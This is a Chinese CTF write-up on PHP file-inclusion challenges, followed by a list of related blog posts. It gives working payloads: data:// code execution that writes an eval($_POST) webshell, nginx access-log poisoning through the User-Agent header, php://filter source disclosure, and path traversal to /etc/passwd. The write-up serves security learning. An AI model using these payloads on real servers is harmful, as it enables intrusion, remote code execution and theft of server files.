一.php伪协议执行代码

由图可知,只需要通过get请求传送url变量即可触发include函数,一开始的思路是直接才flag的文件名,如flag.php等等,然后都失败了,然后想到了文件包含漏洞,利用php伪协议。

https://blog.csdn.net/yao_xin_de_yuan/article/details/108326427 php伪协议介绍

这里有两种方法:
1.url=data://text/plain,<?php print_r(glob("*")); ?> 通过通配符查找目录下的所有文件

找到两个文件,其中ctf_go_go_go文件中即为flag

2. 构造url=data:text/plain,<?php fputs(fopen("shell.php","w"),"<?php eval($_POST['h']);?>")?> 然后使用菜刀或蚁剑进行连接即可。


连接成功,打开相关文件即可。

二.日志注入

题目和上题一样,但用php伪协议是发现发生错误,所以应该是过滤了php,然后就可以进行日志注入。可以服务器问nginx,所以其日志目录为/var/log/nginx/access.log和/var/log/nginx/error.log

因此构造url=/var/log/nginx/access.log

发现日志会记录请求方法和user-agent 因为请求方法不能变,因此我们可以在user-agent处插入php代码,利用bp将user-agent字段改为<?php eval($_POST['h']);?> 发送后发现日志文件中的ua处为空,这是因为php代码会直接运行,而不会显示。然后我们用菜刀或蚁剑连接即可,但要注意url

进入后随便翻翻即可找到flag。

3.php伪协议读取文件


题目url如图,因为页面中并无明确提示,因此可以利用php伪协议读取文件内容看一下

构造url:?file=php://filter/read=convert.base64-encode/resource=flag.php


可以看到文件内容经过base64编码,我们解码一下即可得到flag

最后补充一下,include包含文件时,用/分隔可以包含多个文件。如file=source.php/../../../../etc/passwd

CTF入门之php文件包含相关推荐

  1. 【CTF题】使用文件包含漏洞读取网页代码

    [CTF题]使用文件包含漏洞读取网页代码 按照我的理解文件包含漏洞是指网页后端php(或其他)代码中使用了include等文件包含语句,而且所包含的文件由变量控制,恰恰此变量又能通过GET或POST等 ...

  2. CTFSHOW web入门 命令执行+文件包含+PHP特性

    刷题时间记录表 ID 开始时间 结束时间 刷题范围 1 2021.08.23 19:20 2021.08.23 21.30 web41-45 2 2021.08.24 22:16 2021.08.25 ...

  3. 云演 CTF Web题型 lfi 文件包含

    文件包含 打开页面,典型的文件包含,文件包含的读取格式如下: ?file=php://filter/read=convert.base64-encode/resource=flag 读取到base64 ...

  4. ctfshow web入门 78-88的文件包含

    1. web78 PHP伪协议读取 ?file=php://filter/convert.base64-encode/resource=flag.php 2. web79 ?file=data://t ...

  5. php伪协议漏洞_php伪协议利用文件包含漏洞

    php支持多种封装协议,这些协议常被CTF出题中与文件包含漏洞结合,这里做个小总结.实验用的是DVWA平台,low级别,phpstudy中的设置为5.4.45版本 设置allow_url_fopen和 ...

  6. 文件包含漏洞 文件伪协议利用

    目录 0x0 文件包含漏洞原理 0x1 检测文件包含漏洞 0x2 文件包含漏洞类型 0x3 文件协议流 0x4 实战 简介 #文件包含漏洞 原理,检测,类型,利用,修复等 #文件包含各个脚本代码 AS ...

  7. php伪协议语法,php文件包含漏洞(input与filter)

    php://input php://input可以读取没有处理过的POST数据.相较于$HTTP_RAW_POST_DATA而言,它给内存带来的压力较小,并且不需要特殊的php.ini设置.php:/ ...

  8. 文件包含漏洞全面详解

    文件包含漏洞总结 一.什么是文件包含漏洞 二.本地文件包含漏洞(LFI) 三.LFI漏洞利用技巧 1.配合文件上传使用 2.包含Apache日志文件 3.包含SESSION文件 4.包含临时文件 四. ...

  9. phpinfo.php ctf,这你不是你所常见的PHP文件包含漏洞(利用phpinfo)

    0x01 前言 看到文件包含(+phpinfo ) 的问题,在上次众测中出现此题目,如果没打过CTF,可能真的很少见到这种问题,当然作为小白的我,也是很少遇到,毕竟都是第一次,那就来总结一波经验和操作 ...

  10. php入门-文件操作(文件包含、文件上传、文件管理)

    0x00 起源 从零学习php,最终目的实现代码审计入门,软件采用sublime text,环境使用phpstudy搭建,需要有简单的html基础和php基础,跟随流沙前辈视频学习记录. 国庆放假摆烂 ...

最新文章

  1. C#语言与面向对象技术(5)
  2. input子系统分析(转)
  3. thrust 学习笔记
  4. 吴恩达“机器学习”——学习笔记六
  5. Linux中zip压缩和unzip解压缩
  6. 【Qt】QModbusDevice类
  7. 导出文件_一招解决PDF文件导出图片
  8. HTML框架(Frames)
  9. Android RecyclerView嵌套EditView实时更新Item数据
  10. 【Java】java Java反编译器
  11. c语言 mysql 查询数字_c语言mysql查询数据库
  12. 如何使用给定的部分名称杀死所有进程?
  13. c语言运算符 ,C语言关于位和运算符
  14. 物联网服务器 网页服务器,如何选择合适的物联网平台服务器?
  15. 23种设计模式python版
  16. minecraft pythonapl_Minecraft API
  17. web学习笔记-html-html新增
  18. react+vite+ts关于路径别名的配置
  19. QT 记住账号密码登录
  20. PySide6的安装

热门文章

  1. Python基础之键盘操作
  2. mcu AD采样值和物理值
  3. java long型时间戳_深入理解java long 存储时间戳
  4. 2022-2028年中国美容美发行业现状调研与未来前景趋势报告
  5. ubuntu20 卸载显卡驱动失败_Ubuntu20.04显卡驱动安装
  6. IO-4、RAID结构
  7. python可以手眼定标吗_机器人无标定手眼协调
  8. 松柏先生:从《功守道》看电商品牌最后的机会!
  9. 跳跃表(Skip list)原理
  10. SpringBoot+vue项目实战(一)